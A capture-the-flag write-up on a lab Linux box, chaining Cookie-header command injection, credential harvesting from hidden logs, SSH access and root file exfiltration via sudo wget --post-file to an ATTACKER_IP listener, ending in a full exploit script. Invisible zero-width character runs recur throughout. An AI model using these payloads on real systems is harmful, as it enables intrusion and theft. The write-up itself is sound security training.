← Back to Writeups
CUSTOMEasyPentest
Bookmark

Тревожный сигнал (Alarm Signal)

XESXOR9/2/20263 min read
#pentest#custom#easy#cookie_header_cmd_injection#hidden_directory_discovery#log_credential_harvest#sudo_wget_post_file_exfil#linux

Тревожный сигнал (Alarm Signal)

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-17 | Status: Solved Techniques: cookie_header_cmd_injection, hidden_directory_discovery, log_credential_harvest, sudo_wget_post_file_exfil

Summary

Task: Apache Log Viewer (PHP) at port 8000 with a suspicious Cookie path=. set by the server. Solution: CMD injection through the Cookie path header leaks credentials from /tmp/.trashed_logs, then LPE via sudo wget --post-file (GTFOBins) exfiltrates /root/last_part over netcat.

Тревожный сигнал — HackerLab (Codeby Games)

Description

Наши эксперты по кибербезопасности выявили аномальную активность в различных сегментах нашей ИТ-инфраструктуры. Тебе предстоит провести глубокий анализ этих логов, чтобы выявить источник и характер угрозы. Первая часть флага: /home/$USERNAME/first_part. Вторая часть флага: /root/last_part.

English summary: a target machine (192.168.2.223) hosts SSH (22) and an Apache "Log Viewer" web app on port 8000 that shows a list of 10 .log files. The flag is split between first_part in a user's home directory and last_part under /root, requiring both initial access and privilege escalation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

 bash 
nmap -sV -p- 192.168.2.223
# 22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu
# 53/tcp   open  domain
# 8000/tcp open  http     Apache (PHP) — "Log Viewer"

The web app exposes ?log=<name> and appends .log server-side. Attempts to turn this into an LFI all failed:

  • php://filter, data://, file://, phar://, expect:// — blocked or ineffective
  • Path traversal (../, URL-encoded, null byte) — filtered
  • data://text/plain,X returned X.log (confirming the .log suffix was appended)
  • php://filter over http://127.0.0.1:8000/ worked as SSRF but could not read local files ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The real vulnerability is elsewhere. The HTTP response sets a suspicious cookie:

Set-Cookie: path=.

The server reuses this path cookie value directly inside a shell command (most likely ls $path/*.log or similar), which makes it a textbook Cookie header CMD injection. The log= GET parameter was a red herring.

Solution

Step 1 — Confirm CMD injection via Cookie path

Payload ;id; URL-encoded as %3Bid%3B:

 bash 
curl -H "Cookie: path=%3Bid%3B" "http://192.168.2.223:8000/"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The injected command output appears as an extra <li> entry in the log list:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 2 — Enumerate filesystem, find hidden logs

 bash 
curl -H "Cookie: path=%3Bls%20-la%20/tmp/.trashed_logs%3B" "http://192.168.2.223:8000/"

A hidden directory /tmp/.trashed_logs contains 5 "deleted" log files:

deleted_log_09_22_11_z9y8x7w6v5u4t3.log
deleted_log_11_44_33_p0o9i8u7y6t5r4.log
deleted_log_14_37_59_a1b2c3d4e5f6g7.log
deleted_log_18_03_27_l1k2j3h4g5f6d7.log
deleted_log_21_55_42_q1w2e3r4t5y6u7.log

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3 — Harvest credentials from trashed logs

 bash 
curl -H "Cookie: path=%3Bcat%20/tmp/.trashed_logs/deleted_log_18_03_27_l1k2j3h4g5f6d7.log%3B" \
     "http://192.168.2.223:8000/"

Plaintext credentials leaked in the logs:

[2023-10-05 18:30:00] [INFO] Successful login for user jesse from IP 192.168.1.106.
[2023-10-05 18:30:00] [INFO] Password entered: ryXEeOhV6OMv6c6d.

Step 4 — SSH as jesse and grab first part

 bash 
sshpass -p 'ryXEeOhV6OMv6c6d' ssh -o StrictHostKeyChecking=no jesse@192.168.2.223
jesse$ cat /home/jesse/first_part
CODEBY{REDACTED

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5 — LPE via sudo wget (GTFOBins)

jesse$ sudo -l
User jesse may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/wget

wget does not support file:// for reading, but --post-file=PATH reads an arbitrary file and sends it as a POST body — perfect for exfiltrating root-owned files.

On attacker:

 bash 
nc -l -p 31337 > out.txt

On target:

 bash 
sudo /usr/bin/wget --post-file=/root/last_part http://ATTACKER_IP:31337/

The POST body received on the listener contains the second half of the flag: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

REDACTED}

Full exploit script

 bash 
#!/usr/bin/env bash
# Full chain: CMD injection -> creds -> SSH -> sudo wget LPE
TARGET=192.168.2.223
ATTACKER_IP=192.168.2.100   # your IP
LPORT=31337

# 1) Trigger CMD injection, list hidden trashed logs
curl -s -H "Cookie: path=%3Bls%20/tmp/.trashed_logs%3B" "http://$TARGET:8000/"

# 2) Dump each deleted_log to find credentials
for f in $(curl -s -H "Cookie: path=%3Bls%20/tmp/.trashed_logs%3B" "http://$TARGET:8000/" \
           | grep -oE 'deleted_log_[0-9_a-z]+\.log'); do
    echo "=== $f ==="
    curl -s -H "Cookie: path=%3Bcat%20/tmp/.trashed_logs/$f%3B" "http://$TARGET:8000/" \
        | grep -iE 'password|user'
done
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3) SSH as jesse, read first part
USER=jesse
PASS='ryXEeOhV6OMv6c6d'
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no $USER@$TARGET \
    'cat /home/jesse/first_part'

# 4) LPE — listener on attacker (run in separate terminal):
#    nc -l -p $LPORT > out.txt
# 5) On target:
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no $USER@$TARGET \
    "sudo /usr/bin/wget --post-file=/root/last_part http://$ATTACKER_IP:$LPORT/"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍